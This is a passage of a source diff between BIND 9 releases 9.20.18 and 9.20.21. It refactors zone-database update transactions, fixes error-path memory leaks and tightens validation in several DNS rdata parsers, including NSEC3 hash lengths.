dns_qp_t *qp = NULL; if (create) { dns_qpmulti_write(dbtree, &qp); } else { - dns_qpmulti_query(dbtree, &qpr); - qp = (dns_qp_t *)&qpr; + dns_qpmulti_query(dbtree, qprp); + qp = (dns_qp_t *)qprp; } - result = dns_qp_getname(qp, name, (void **)&node, NULL); - if (result != ISC_R_SUCCESS) { - if (!create) { - dns_qpread_destroy(dbtree, &qpr); - return result; - } + return qp; +} +static void +end_transaction(dns_qpmulti_t *dbtree, dns_qp_t *qp, bool create) { + if (create) { + dns_qp_compact(qp, DNS_QPGC_MAYBE); + dns_qpmulti_commit(dbtree, &qp); + } else { + dns_qpread_t *qprp = (dns_qpread_t *)qp; + dns_qpread_destroy(dbtree, qprp); + } +} + +static isc_result_t +findnodeintree(qpzonedb_t *qpdb, dns_qp_t *qp, const dns_name_t *name, + bool create, bool nsec3, dns_dbnode_t **nodep DNS__DB_FLARG) { + isc_result_t result; + qpznode_t *node = NULL; + + /* + * findnodeintree is a wrapper around dns_qp_getname that does some + * qpzone-specific bookkeeping before returning the lookup result to the + * caller. + * + * First, we do a lookup ... + */ + result = dns_qp_getname(qp, name, (void **)&node, NULL); + if (result == ISC_R_SUCCESS) { + /* + * ... if the lookup is successful, we need to increase both the + * internal and external reference count before returning to + * the caller. qpznode_acquire takes care of that. + */ + qpznode_acquire(qpdb, node DNS__DB_FLARG_PASS); + } else if (result != ISC_R_SUCCESS && create) { + /* + * ... if the lookup is unsuccessful, but the caller asked us to + * create a new node, create one and insert it into the tree. + */ node = new_qpznode(qpdb, name); + result = dns_qp_insert(qp, node, 0); INSIST(result == ISC_R_SUCCESS); - qpznode_unref(node); + + /* + * The new node now has two internal references: + * - One from new_qpznode, that initializes references at 1. + * - One from attach_leaf, that increases the reference by + * one at insertion in the qp-tree. + * We want the node to have two internal and one external + * reference: + * - One internal reference from the qp-tree. + * - One internal and one external reference from the caller. + * + * So we increase the external reference count by one. + */ + qpznode_erefs_increment(qpdb, node DNS__DB_FLARG_PASS); if (nsec3) { node->nsec = DNS_DB_NSEC_NSEC3; } else { + /* + * Add empty non-terminal nodes to help with wildcards. + */ addwildcards(qpdb, qp, name); if (dns_name_iswildcard(name)) { wildcardmagic(qpdb, qp, name); @@ -2472,20 +2530,15 @@ } } - INSIST(node->nsec == DNS_DB_NSEC_NSEC3 || !nsec3); - - qpznode_acquire(qpdb, node DNS__DB_FLARG_PASS); - - if (create) { - dns_qp_compact(qp, DNS_QPGC_MAYBE); - dns_qpmulti_commit(dbtree, &qp); - } else { - dns_qpread_destroy(dbtree, &qpr); - } + /* + * ... if the lookup is unsuccessful, and the caller didn't ask us + * to create a new node, there is nothing to do. Return the result + * of the lookup to the caller, and set *nodep to NULL + */ *nodep = (dns_dbnode_t *)node; - return ISC_R_SUCCESS; + return result; } static isc_result_t @@ -2495,8 +2548,15 @@ REQUIRE(VALID_QPZONE(qpdb)); - return findnodeintree(qpdb, name, create, false, - nodep DNS__DB_FLARG_PASS); + dns_qpread_t qpr = { 0 }; + dns_qp_t *qp = begin_transaction(qpdb->tree, &qpr, create); + + isc_result_t result = findnodeintree(qpdb, qp, name, create, false, + nodep DNS__DB_FLARG_PASS); + + end_transaction(qpdb->tree, qp, create); + + return result; } static isc_result_t @@ -2506,8 +2566,15 @@ REQUIRE(VALID_QPZONE(qpdb)); - return findnodeintree(qpdb, name, create, true, - nodep DNS__DB_FLARG_PASS); + dns_qpread_t qpr = { 0 }; + dns_qp_t *qp = begin_transaction(qpdb->nsec3, &qpr, create); + + isc_result_t result = findnodeintree(qpdb, qp, name, create, true, + nodep DNS__DB_FLARG_PASS); + + end_transaction(qpdb->nsec3, qp, create); + + return result; } static bool @@ -4646,10 +4713,21 @@ return ISC_R_SUCCESS; } +/* + * Main logic to add a new rdataset to a node. + * + * The reason this is split from qpzone_addrdataset is to allow the reuse of + * the same qp transaction for multiple adds. + * + * qpzone_subtractrdataset doesn't have the same problem since it cannot delete + * nodes, only rdatasets. + */ static isc_result_t -addrdataset(dns_db_t *db, dns_dbnode_t *dbnode, dns_dbversion_t *dbversion, - isc_stdtime_t now ISC_ATTR_UNUSED, dns_rdataset_t *rdataset, - unsigned int options, dns_rdataset_t *addedrdataset DNS__DB_FLARG) { +qpzone_addrdataset_inner(dns_db_t *db, dns_dbnode_t *dbnode, + dns_dbversion_t *dbversion, + isc_stdtime_t now ISC_ATTR_UNUSED, + dns_rdataset_t *rdataset, unsigned int options, + dns_rdataset_t *addedrdataset, dns_qp_t *nsec) { isc_result_t result; qpzonedb_t *qpdb = (qpzonedb_t *)db; qpznode_t *node = (qpznode_t *)dbnode; @@ -4660,7 +4738,6 @@ isc_rwlock_t *nlock = NULL; dns_fixedname_t fn; dns_name_t *name = dns_fixedname_initname(&fn); - dns_qp_t *nsec = NULL; REQUIRE(VALID_QPZONE(qpdb)); REQUIRE(version != NULL && version->qpdb == qpdb); @@ -4721,11 +4798,10 @@ /* * Add to the auxiliary NSEC tree if we're adding an NSEC record. */ - if (node->nsec != DNS_DB_NSEC_HAS_NSEC && - rdataset->type == dns_rdatatype_nsec) - { - dns_qpmulti_write(qpdb->nsec, &nsec); - } + + bool is_nsec = node->nsec != DNS_DB_NSEC_HAS_NSEC && + rdataset->type == dns_rdatatype_nsec; + REQUIRE(!is_nsec || nsec != NULL); /* * If we're adding a delegation type or adding to the auxiliary NSEC @@ -4741,7 +4817,8 @@ NODE_WRLOCK(nlock, &nlocktype); result = ISC_R_SUCCESS; - if (nsec != NULL) { + + if (is_nsec) { node->nsec = DNS_DB_NSEC_HAS_NSEC; /* @@ -4772,7 +4849,34 @@ NODE_UNLOCK(nlock, &nlocktype); - if (nsec != NULL) { + return result; +} + +static isc_result_t +addrdataset(dns_db_t *db, dns_dbnode_t *dbnode, dns_dbversion_t *dbversion, + isc_stdtime_t now ISC_ATTR_UNUSED, dns_rdataset_t *rdataset, + unsigned int options, dns_rdataset_t *addedrdataset DNS__DB_FLARG) { + qpzonedb_t *qpdb = (qpzonedb_t *)db; + qpznode_t *node = (qpznode_t *)dbnode; + dns_qp_t *nsec = NULL; + + REQUIRE(VALID_QPZONE(qpdb)); + + bool is_nsec = node->nsec != DNS_DB_NSEC_HAS_NSEC && + rdataset->type == dns_rdatatype_nsec; + + /* + * Add to the auxiliary NSEC tree if we're adding an NSEC record. + */ + if (is_nsec) { + dns_qpmulti_write(qpdb->nsec, &nsec); + } + + isc_result_t result = qpzone_addrdataset_inner(db, dbnode, dbversion, + now, rdataset, options, + addedrdataset, nsec); + + if (is_nsec) { dns_qpmulti_commit(qpdb->nsec, &nsec); } @@ -5202,10 +5306,192 @@ qpdb->maxtypepername = value; } +/* + * Qpzone specialization of the update function from dns_rdatacallbacks_t, + * meant to reuse the same qp transaction for multiple operations. + */ +static isc_result_t +qpzone_update_rdataset(qpzonedb_t *qpdb, qpz_version_t *version, + qpzone_updatectx_t *ctx, dns_name_t *name, + dns_rdataset_t *rds, dns_diffop_t op) { + isc_result_t result; + unsigned int options; + dns_rdataset_t ardataset; + dns_dbnode_t *node = NULL; + bool is_nsec3; + + dns_rdataset_init(&ardataset); + + is_nsec3 = (rds->type == dns_rdatatype_nsec3 || + rds->covers == dns_rdatatype_nsec3); + dns_qp_t *dbtree = is_nsec3 ? ctx->nsec3 : ctx->qp; + + result = findnodeintree(qpdb, dbtree, name, true, is_nsec3, + &node DNS__DB_FLARG_PASS); + + if (result != ISC_R_SUCCESS) { + goto cleanup; + } + + switch (op) { + case DNS_DIFFOP_ADD: + case DNS_DIFFOP_ADDRESIGN: + /* + * See the comment on qpzone_addrdataset_inner for why we + * cannot use qpzone_addrdataset directly. + */ + options = DNS_DBADD_MERGE | DNS_DBADD_EXACT | + DNS_DBADD_EXACTTTL; + result = qpzone_addrdataset_inner( + (dns_db_t *)qpdb, node, (dns_dbversion_t *)version, 0, + rds, options, &ardataset, ctx->nsec DNS__DB_FLARG_PASS); + switch (result) { + case ISC_R_SUCCESS: + if (dns_rdataset_isassociated(&ardataset)) { + dns_rdataset_setownercase(&ardataset, name); + } + break; + case DNS_R_UNCHANGED: + case DNS_R_NXRRSET: + CHECK(result); + break; + default: + CHECK(result); + break; + } + break; + case DNS_DIFFOP_DEL: + case DNS_DIFFOP_DELRESIGN: + options = DNS_DBSUB_EXACT | DNS_DBSUB_WANTOLD; + result = subtractrdataset( + (dns_db_t *)qpdb, node, (dns_dbversion_t *)version, rds, + options, &ardataset DNS__DB_FLARG_PASS); + break; + default: + UNREACHABLE(); + } + + bool is_resign = rds->type == dns_rdatatype_rrsig && + (op == DNS_DIFFOP_DELRESIGN || + op == DNS_DIFFOP_ADDRESIGN); + + if (result == ISC_R_SUCCESS && is_resign) { + if (dns_rdataset_isassociated(&ardataset)) { + isc_stdtime_t resign; + resign = dns_rdataset_minresign(&ardataset); + dns_db_setsigningtime((dns_db_t *)qpdb, &ardataset, + resign); + } + } + +cleanup: + if (node != NULL) { + dns_db_detachnode((dns_db_t *)qpdb, &node); + } + if (dns_rdataset_isassociated(&ardataset)) { + dns_rdataset_disassociate(&ardataset); + } + return result; +} + +static isc_result_t +qpzone_update_callback(void *arg, const dns_name_t *name, dns_rdataset_t *rds, + dns_diffop_t op DNS__DB_FLARG) { + qpzone_updatectx_t *ctx = arg; + qpzonedb_t *qpdb = (qpzonedb_t *)ctx->base.db; + qpz_version_t *version = (qpz_version_t *)ctx->base.ver; + + return qpzone_update_rdataset(qpdb, version, ctx, (dns_name_t *)name, + rds, op); +} + +static isc_result_t +qpzone_beginupdate(dns_db_t *db, dns_dbversion_t *ver, + dns_rdatacallbacks_t *callbacks) { + qpzonedb_t *qpdb = (qpzonedb_t *)db; + + REQUIRE(VALID_QPZONE(qpdb)); + REQUIRE(ver != NULL); + REQUIRE(DNS_CALLBACK_VALID(callbacks)); + + qpzone_updatectx_t *ctx = isc_mem_get(qpdb->common.mctx, sizeof(*ctx)); + *ctx = (qpzone_updatectx_t){ + .base.db = db, + .base.ver = ver, + .base.warn = true, + .qpr = (dns_qpread_t){ 0 }, + }; + ctx->qp = begin_transaction(qpdb->tree, &ctx->qpr, true); + ctx->nsec = begin_transaction(qpdb->nsec, &ctx->qpr, true); + ctx->nsec3 = begin_transaction(qpdb->nsec3, &ctx->qpr, true); + + callbacks->update = qpzone_update_callback; + callbacks->add_private = ctx; + + return ISC_R_SUCCESS; +} + +static isc_result_t +qpzone_commitupdate(dns_db_t *db, dns_rdatacallbacks_t *callbacks) { + qpzonedb_t *qpdb = (qpzonedb_t *)db; + qpzone_updatectx_t *ctx; + + REQUIRE(VALID_QPZONE(qpdb)); + REQUIRE(DNS_CALLBACK_VALID(callbacks)); + + ctx = (qpzone_updatectx_t *)callbacks->add_private; + if (ctx != NULL) { + end_transaction(qpdb->nsec3, ctx->nsec3, true); + end_transaction(qpdb->nsec, ctx->nsec, true); + end_transaction(qpdb->tree, ctx->qp, true); + + isc_mem_put(qpdb->common.mctx, ctx, sizeof(*ctx)); + /* + * We need to allow the context to be committed or aborted + * multiple times, so we set the callback data to NULL + * to signal that nothing needs to be done with this context. + */ + callbacks->add_private = NULL; + } + + return ISC_R_SUCCESS; +} + +/* + * For now, abortupdate needs to *commit* the results, so that closeversion + * cleanup might work. + */ +static isc_result_t +qpzone_abortupdate(dns_db_t *db, dns_rdatacallbacks_t *callbacks) { + qpzonedb_t *qpdb = (qpzonedb_t *)db; + qpzone_updatectx_t *ctx; + + REQUIRE(VALID_QPZONE(qpdb)); + REQUIRE(DNS_CALLBACK_VALID(callbacks)); + + ctx = (qpzone_updatectx_t *)callbacks->add_private; + if (ctx != NULL) { + end_transaction(qpdb->nsec3, ctx->nsec3, true); + end_transaction(qpdb->nsec, ctx->nsec, true); + end_transaction(qpdb->tree, ctx->qp, true); + + isc_mem_put(qpdb->common.mctx, ctx, sizeof(*ctx)); + /* + * See qpzone_commitupdate. + */ + callbacks->add_private = NULL; + } + + return ISC_R_SUCCESS; +} + static dns_dbmethods_t qpdb_zonemethods = { .destroy = qpdb_destroy, .beginload = beginload, .endload = endload, + .beginupdate = qpzone_beginupdate, + .commitupdate = qpzone_commitupdate, + .abortupdate = qpzone_abortupdate, .currentversion = currentversion, .newversion = newversion, .attachversion = attachversion, diff -Nru bind9-9.20.18/lib/dns/rbt-zonedb.c bind9-9.20.21/lib/dns/rbt-zonedb.c --- bind9-9.20.18/lib/dns/rbt-zonedb.c 2026-01-09 13:39:28.331978751 +0000 +++ bind9-9.20.21/lib/dns/rbt-zonedb.c 2026-03-13 22:01:10.882871562 +0000 @@ -44,6 +44,7 @@ #include #include #include +#include #include #include #include @@ -62,6 +63,7 @@ #include #include "db_p.h" +#include "isc/attributes.h" #include "rbtdb_p.h" #define EXISTS(header) \ @@ -1677,8 +1679,8 @@ } static isc_result_t -loading_addrdataset(void *arg, const dns_name_t *name, - dns_rdataset_t *rdataset DNS__DB_FLARG) { +loading_addrdataset(void *arg, const dns_name_t *name, dns_rdataset_t *rdataset, + dns_diffop_t op ISC_ATTR_UNUSED DNS__DB_FLARG) { rbtdb_load_t *loadctx = arg; dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)loadctx->db; dns_rbtnode_t *node = NULL; @@ -1812,7 +1814,7 @@ RWUNLOCK(&rbtdb->lock, isc_rwlocktype_write); - callbacks->add = loading_addrdataset; + callbacks->update = loading_addrdataset; callbacks->add_private = loadctx; return ISC_R_SUCCESS; @@ -1849,7 +1851,7 @@ RWUNLOCK(&rbtdb->lock, isc_rwlocktype_write); } - callbacks->add = NULL; + callbacks->update = NULL; callbacks->add_private = NULL; isc_mem_put(rbtdb->common.mctx, loadctx, sizeof(*loadctx)); @@ -2247,10 +2249,52 @@ return ISC_R_SUCCESS; } +static isc_result_t +rbt_beginupdate(dns_db_t *db, dns_dbversion_t *ver, + dns_rdatacallbacks_t *callbacks) { + dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db; + + REQUIRE(VALID_RBTDB(rbtdb)); + REQUIRE(ver != NULL); + REQUIRE(DNS_CALLBACK_VALID(callbacks)); + + dns_updatectx_t *ctx = isc_mem_get(rbtdb->common.mctx, sizeof(*ctx)); + *ctx = (dns_updatectx_t){ + .db = db, + .ver = ver, + .warn = true, + }; + + callbacks->update = update_callback; + callbacks->add_private = ctx; + + return ISC_R_SUCCESS; +} + +static isc_result_t +rbt_endupdate(dns_db_t *db, dns_rdatacallbacks_t *callbacks) { + dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db; + dns_updatectx_t *ctx; + + REQUIRE(VALID_RBTDB(rbtdb)); + REQUIRE(DNS_CALLBACK_VALID(callbacks)); + + ctx = (dns_updatectx_t *)callbacks->add_private; + if (ctx != NULL) { + isc_mem_put(rbtdb->common.mctx, ctx, sizeof(*ctx)); + callbacks->add_private = NULL; + } + + return ISC_R_SUCCESS; +} + dns_dbmethods_t dns__rbtdb_zonemethods = { .destroy = dns__rbtdb_destroy, .beginload = beginload, .endload = endload, + .beginupdate = rbt_beginupdate, + .commitupdate = rbt_endupdate, + .abortupdate = rbt_endupdate, .currentversion = dns__rbtdb_currentversion, .newversion = dns__rbtdb_newversion, .attachversion = dns__rbtdb_attachversion, diff -Nru bind9-9.20.18/lib/dns/rbtdb.c bind9-9.20.21/lib/dns/rbtdb.c --- bind9-9.20.18/lib/dns/rbtdb.c 2026-01-09 13:39:28.332978778 +0000 +++ bind9-9.20.21/lib/dns/rbtdb.c 2026-03-13 22:01:10.883871530 +0000 @@ -3180,7 +3180,7 @@ dns_slabheader_proof_t *noqname = NULL; dns_name_t name = DNS_NAME_INITEMPTY; dns_rdataset_t neg = DNS_RDATASET_INIT, negsig = DNS_RDATASET_INIT; - isc_region_t r1, r2; + isc_region_t r1 = { .base = NULL }, r2 = { .base = NULL }; result = dns_rdataset_getnoqname(rdataset, &name, &neg, &negsig); RUNTIME_CHECK(result == ISC_R_SUCCESS); @@ -3206,6 +3206,14 @@ newheader->noqname = noqname; cleanup: + if (result != ISC_R_SUCCESS) { + if (r1.base != NULL) { + isc_mem_put(mctx, r1.base, r1.length); + } + if (r2.base != NULL) { + isc_mem_put(mctx, r2.base, r2.length); + } + } dns_rdataset_disassociate(&neg); dns_rdataset_disassociate(&negsig); @@ -3219,7 +3227,7 @@ dns_slabheader_proof_t *closest = NULL; dns_name_t name = DNS_NAME_INITEMPTY; dns_rdataset_t neg = DNS_RDATASET_INIT, negsig = DNS_RDATASET_INIT; - isc_region_t r1, r2; + isc_region_t r1 = { .base = NULL }, r2 = { .base = NULL }; result = dns_rdataset_getclosest(rdataset, &name, &neg, &negsig); RUNTIME_CHECK(result == ISC_R_SUCCESS); @@ -3245,6 +3253,14 @@ newheader->closest = closest; cleanup: + if (result != ISC_R_SUCCESS) { + if (r1.base != NULL) { + isc_mem_put(mctx, r1.base, r1.length); + } + if (r2.base != NULL) { + isc_mem_put(mctx, r2.base, r2.length); + } + } dns_rdataset_disassociate(&neg); dns_rdataset_disassociate(&negsig); return result; diff -Nru bind9-9.20.18/lib/dns/rdata/generic/brid_68.c bind9-9.20.21/lib/dns/rdata/generic/brid_68.c --- bind9-9.20.18/lib/dns/rdata/generic/brid_68.c 2026-01-09 13:39:28.334978830 +0000 +++ bind9-9.20.21/lib/dns/rdata/generic/brid_68.c 2026-03-13 22:01:10.885871466 +0000 @@ -28,7 +28,7 @@ UNUSED(options); UNUSED(callbacks); - return isc_base64_tobuffer(lexer, target, -1); + return isc_base64_tobuffer(lexer, target, isc_one_or_more); } static isc_result_t @@ -45,8 +45,6 @@ RETERR(str_totext(" (", target)); } - RETERR(str_totext(tctx->linebreak, target)); - if (tctx->width == 0) { /* No splitting */ RETERR(isc_base64_totext(&sr, 60, "", target)); } else { diff -Nru bind9-9.20.18/lib/dns/rdata/generic/cert_37.c bind9-9.20.21/lib/dns/rdata/generic/cert_37.c --- bind9-9.20.18/lib/dns/rdata/generic/cert_37.c 2026-01-09 13:39:28.335978856 +0000 +++ bind9-9.20.21/lib/dns/rdata/generic/cert_37.c 2026-03-13 22:01:10.886871434 +0000 @@ -58,7 +58,7 @@ RETTOK(dns_secalg_fromtext(&secalg, &token.value.as_textregion)); RETERR(mem_tobuffer(target, &secalg, 1)); - return isc_base64_tobuffer(lexer, target, -2); + return isc_base64_tobuffer(lexer, target, isc_one_or_more); } static isc_result_t diff -Nru bind9-9.20.18/lib/dns/rdata/generic/doa_259.c bind9-9.20.21/lib/dns/rdata/generic/doa_259.c --- bind9-9.20.18/lib/dns/rdata/generic/doa_259.c 2026-01-09 13:39:28.337978909 +0000 +++ bind9-9.20.21/lib/dns/rdata/generic/doa_259.c 2026-03-13 22:01:10.888871370 +0000 @@ -67,7 +67,7 @@ return ISC_R_SUCCESS; } else { isc_lex_ungettoken(lexer, &token); - return isc_base64_tobuffer(lexer, target, -1); + return isc_base64_tobuffer(lexer, target, isc_zero_or_more); } } diff -Nru bind9-9.20.18/lib/dns/rdata/generic/dsync_66.c bind9-9.20.21/lib/dns/rdata/generic/dsync_66.c --- bind9-9.20.18/lib/dns/rdata/generic/dsync_66.c 2026-01-09 13:39:28.337978909 +0000 +++ bind9-9.20.21/lib/dns/rdata/generic/dsync_66.c 2026-03-13 22:01:10.888871370 +0000 @@ -237,7 +237,7 @@ UNUSED(rdclass); RETERR(uint16_tobuffer(dsync->type, target)); - RETERR(uint16_tobuffer(dsync->scheme, target)); + RETERR(uint8_tobuffer(dsync->scheme, target)); RETERR(uint16_tobuffer(dsync->port, target)); dns_name_toregion(&dsync->target, ®ion); return isc_buffer_copyregion(target, ®ion); diff -Nru bind9-9.20.18/lib/dns/rdata/generic/hhit_67.c bind9-9.20.21/lib/dns/rdata/generic/hhit_67.c --- bind9-9.20.18/lib/dns/rdata/generic/hhit_67.c 2026-01-09 13:39:28.338978935 +0000 +++ bind9-9.20.21/lib/dns/rdata/generic/hhit_67.c 2026-03-13 22:01:10.889871338 +0000 @@ -28,7 +28,7 @@ UNUSED(options); UNUSED(callbacks); - return isc_base64_tobuffer(lexer, target, -1); + return isc_base64_tobuffer(lexer, target, isc_one_or_more); } static isc_result_t @@ -45,8 +45,6 @@ RETERR(str_totext(" (", target)); } - RETERR(str_totext(tctx->linebreak, target)); - if (tctx->width == 0) { /* No splitting */ RETERR(isc_base64_totext(&sr, 60, "", target)); } else { diff -Nru bind9-9.20.18/lib/dns/rdata/generic/ipseckey_45.c bind9-9.20.21/lib/dns/rdata/generic/ipseckey_45.c --- bind9-9.20.18/lib/dns/rdata/generic/ipseckey_45.c 2026-01-09 13:39:28.339978961 +0000 +++ bind9-9.20.21/lib/dns/rdata/generic/ipseckey_45.c 2026-03-13 22:01:10.890871306 +0000 @@ -118,7 +118,7 @@ /* * Public key. */ - return isc_base64_tobuffer(lexer, target, -2); + return isc_base64_tobuffer(lexer, target, isc_one_or_more); } static isc_result_t diff -Nru bind9-9.20.18/lib/dns/rdata/generic/key_25.c bind9-9.20.21/lib/dns/rdata/generic/key_25.c --- bind9-9.20.18/lib/dns/rdata/generic/key_25.c 2026-01-09 13:39:28.339978961 +0000 +++ bind9-9.20.21/lib/dns/rdata/generic/key_25.c 2026-03-13 22:01:10.890871306 +0000 @@ -89,7 +89,7 @@ */ used = isc_buffer_usedlength(target); - RETERR(isc_base64_tobuffer(lexer, target, -2)); + RETERR(isc_base64_tobuffer(lexer, target, isc_one_or_more)); if (alg == DNS_KEYALG_PRIVATEDNS || alg == DNS_KEYALG_PRIVATEOID) { isc_buffer_t b; diff -Nru bind9-9.20.18/lib/dns/rdata/generic/keydata_65533.c bind9-9.20.21/lib/dns/rdata/generic/keydata_65533.c --- bind9-9.20.18/lib/dns/rdata/generic/keydata_65533.c 2026-01-09 13:39:28.339978961 +0000 +++ bind9-9.20.21/lib/dns/rdata/generic/keydata_65533.c 2026-03-13 22:01:10.891871274 +0000 @@ -83,7 +83,7 @@ return ISC_R_SUCCESS; } - return isc_base64_tobuffer(lexer, target, -2); + return isc_base64_tobuffer(lexer, target, isc_one_or_more); } static isc_result_t diff -Nru bind9-9.20.18/lib/dns/rdata/generic/nsec3_50.c bind9-9.20.21/lib/dns/rdata/generic/nsec3_50.c --- bind9-9.20.18/lib/dns/rdata/generic/nsec3_50.c 2026-01-09 13:39:28.342979040 +0000 +++ bind9-9.20.21/lib/dns/rdata/generic/nsec3_50.c 2026-03-13 22:01:10.894871178 +0000 @@ -35,6 +35,8 @@ #include #include +#include + #define RRTYPE_NSEC3_ATTRIBUTES DNS_RDATATYPEATTR_DNSSEC static isc_result_t @@ -96,8 +98,17 @@ false)); isc_buffer_init(&b, buf, sizeof(buf)); RETTOK(isc_base32hexnp_decodestring(DNS_AS_STR(token), &b)); - if (isc_buffer_usedlength(&b) > 0xffU) { - RETTOK(ISC_R_RANGE); + switch (hashalg) { + case dns_hash_sha1: + if (isc_buffer_usedlength(&b) != ISC_SHA1_DIGESTLENGTH) { + RETTOK(ISC_R_RANGE); + } + break; + default: + if (isc_buffer_usedlength(&b) > NSEC3_MAX_HASH_LENGTH) { + RETTOK(ISC_R_RANGE); + } + break; } RETERR(uint8_tobuffer(isc_buffer_usedlength(&b), target)); RETERR(mem_tobuffer(target, &buf, isc_buffer_usedlength(&b))); @@ -184,7 +195,7 @@ static isc_result_t fromwire_nsec3(ARGS_FROMWIRE) { isc_region_t sr, rr; - unsigned int saltlen, hashlen; + unsigned int hash, saltlen, hashlen; REQUIRE(type == dns_rdatatype_nsec3); @@ -199,6 +210,7 @@ if (sr.length < 5U) { RETERR(DNS_R_FORMERR); } + hash = sr.base[0]; saltlen = sr.base[4]; isc_region_consume(&sr, 5); @@ -213,8 +225,19 @@ hashlen = sr.base[0]; isc_region_consume(&sr, 1); - if (hashlen < 1 || sr.length < hashlen) { - RETERR(DNS_R_FORMERR); + switch (hash) { + case dns_hash_sha1: + if (hashlen != ISC_SHA1_DIGESTLENGTH || sr.length < hashlen) { + RETERR(DNS_R_FORMERR); + } + break; + default: + if (hashlen < 1 || hashlen > NSEC3_MAX_HASH_LENGTH || + sr.length < hashlen) + { + RETERR(DNS_R_FORMERR); + } + break; } isc_region_consume(&sr, hashlen); @@ -264,7 +287,6 @@ REQUIRE(nsec3->common.rdtype == type); REQUIRE(nsec3->common.rdclass == rdclass); REQUIRE(nsec3->typebits != NULL || nsec3->len == 0); - REQUIRE(nsec3->hash == dns_hash_sha1); UNUSED(type); UNUSED(rdclass); @@ -313,6 +335,7 @@ nsec3->len = region.length; nsec3->typebits = mem_maybedup(mctx, region.base, region.length); nsec3->mctx = mctx; + return ISC_R_SUCCESS; } diff -Nru bind9-9.20.18/lib/dns/rdata/generic/openpgpkey_61.c bind9-9.20.21/lib/dns/rdata/generic/openpgpkey_61.c --- bind9-9.20.18/lib/dns/rdata/generic/openpgpkey_61.c 2026-01-09 13:39:28.343979066 +0000 +++ bind9-9.20.21/lib/dns/rdata/generic/openpgpkey_61.c 2026-03-13 22:01:10.895871146 +0000 @@ -29,7 +29,7 @@ /* * Keyring. */ - return isc_base64_tobuffer(lexer, target, -2); + return isc_base64_tobuffer(lexer, target, isc_one_or_more); } static isc_result_t diff -Nru bind9-9.20.18/lib/dns/rdata/generic/rrsig_46.c bind9-9.20.21/lib/dns/rdata/generic/rrsig_46.c --- bind9-9.20.18/lib/dns/rdata/generic/rrsig_46.c 2026-01-09 13:39:28.345979119 +0000 +++ bind9-9.20.21/lib/dns/rdata/generic/rrsig_46.c 2026-03-13 22:01:10.896871114 +0000 @@ -157,7 +157,7 @@ */ used = isc_buffer_usedlength(target); - RETERR(isc_base64_tobuffer(lexer, target, -2)); + RETERR(isc_base64_tobuffer(lexer, target, isc_one_or_more)); if (alg == DNS_KEYALG_PRIVATEDNS || alg == DNS_KEYALG_PRIVATEOID) { isc_buffer_t b; diff -Nru bind9-9.20.18/lib/dns/rdata/generic/sig_24.c bind9-9.20.21/lib/dns/rdata/generic/sig_24.c --- bind9-9.20.18/lib/dns/rdata/generic/sig_24.c 2026-01-09 13:39:28.345979119 +0000 +++ bind9-9.20.21/lib/dns/rdata/generic/sig_24.c 2026-03-13 22:01:10.897871082 +0000 @@ -121,7 +121,7 @@ */ used = isc_buffer_usedlength(target); - RETERR(isc_base64_tobuffer(lexer, target, -2)); + RETERR(isc_base64_tobuffer(lexer, target, isc_one_or_more)); if (alg == DNS_KEYALG_PRIVATEDNS || alg == DNS_KEYALG_PRIVATEOID) { isc_buffer_t b; diff -Nru bind9-9.20.18/lib/dns/rdata/generic/sink_40.c bind9-9.20.21/lib/dns/rdata/generic/sink_40.c --- bind9-9.20.18/lib/dns/rdata/generic/sink_40.c 2026-01-09 13:39:28.345979119 +0000 +++ bind9-9.20.21/lib/dns/rdata/generic/sink_40.c 2026-03-13 22:01:10.897871082 +0000 @@ -54,7 +54,7 @@ } RETERR(uint8_tobuffer(token.value.as_ulong, target)); - return isc_base64_tobuffer(lexer, target, -1); + return isc_base64_tobuffer(lexer, target, isc_zero_or_more); } static isc_result_t diff -Nru bind9-9.20.18/lib/dns/rdata/generic/tlsa_52.c bind9-9.20.21/lib/dns/rdata/generic/tlsa_52.c --- bind9-9.20.18/lib/dns/rdata/generic/tlsa_52.c 2026-01-09 13:39:28.347979171 +0000 +++ bind9-9.20.21/lib/dns/rdata/generic/tlsa_52.c 2026-03-13 22:01:10.899871019 +0000 @@ -61,7 +61,7 @@ /* * Certificate Association Data. */ - return isc_hex_tobuffer(lexer, target, -2); + return isc_hex_tobuffer(lexer, target, isc_one_or_more); } static isc_result_t diff -Nru bind9-9.20.18/lib/dns/rdata/in_1/dhcid_49.c bind9-9.20.21/lib/dns/rdata/in_1/dhcid_49.c --- bind9-9.20.18/lib/dns/rdata/in_1/dhcid_49.c 2026-01-09 13:39:28.349979224 +0000 +++ bind9-9.20.21/lib/dns/rdata/in_1/dhcid_49.c 2026-03-13 22:01:10.901870955 +0000 @@ -29,7 +29,7 @@ UNUSED(options); UNUSED(callbacks); - return isc_base64_tobuffer(lexer, target, -2); + return isc_base64_tobuffer(lexer, target, isc_one_or_more); } static isc_result_t @@ -149,6 +149,7 @@ dns_rdata_toregion(rdata, ®ion); dhcid->dhcid = mem_maybedup(mctx, region.base, region.length); + dhcid->length = region.length; dhcid->mctx = mctx; return ISC_R_SUCCESS; } diff -Nru bind9-9.20.18/lib/dns/rdata/in_1/eid_31.c bind9-9.20.21/lib/dns/rdata/in_1/eid_31.c --- bind9-9.20.18/lib/dns/rdata/in_1/eid_31.c 2026-01-09 13:39:28.349979224 +0000 +++ bind9-9.20.21/lib/dns/rdata/in_1/eid_31.c 2026-03-13 22:01:10.901870955 +0000 @@ -29,7 +29,7 @@ UNUSED(rdclass); UNUSED(callbacks); - return isc_hex_tobuffer(lexer, target, -2); + return isc_hex_tobuffer(lexer, target, isc_one_or_more); } static isc_result_t diff -Nru bind9-9.20.18/lib/dns/rdata/in_1/nimloc_32.c bind9-9.20.21/lib/dns/rdata/in_1/nimloc_32.c --- bind9-9.20.18/lib/dns/rdata/in_1/nimloc_32.c 2026-01-09 13:39:28.350979250 +0000 +++ bind9-9.20.21/lib/dns/rdata/in_1/nimloc_32.c 2026-03-13 22:01:10.902870923 +0000 @@ -29,7 +29,7 @@ UNUSED(rdclass); UNUSED(callbacks); - return isc_hex_tobuffer(lexer, target, -2); + return isc_hex_tobuffer(lexer, target, isc_one_or_more); } static isc_result_t diff -Nru bind9-9.20.18/lib/dns/rdataset.c bind9-9.20.21/lib/dns/rdataset.c --- bind9-9.20.18/lib/dns/rdataset.c 2026-01-09 13:39:28.351979276 +0000 +++ bind9-9.20.21/lib/dns/rdataset.c 2026-03-13 22:01:10.903870891 +0000 @@ -29,6 +29,8 @@ #include #include #include +#include +#include static const char *trustnames[] = { "none", "pending-additional", @@ -676,3 +678,41 @@ 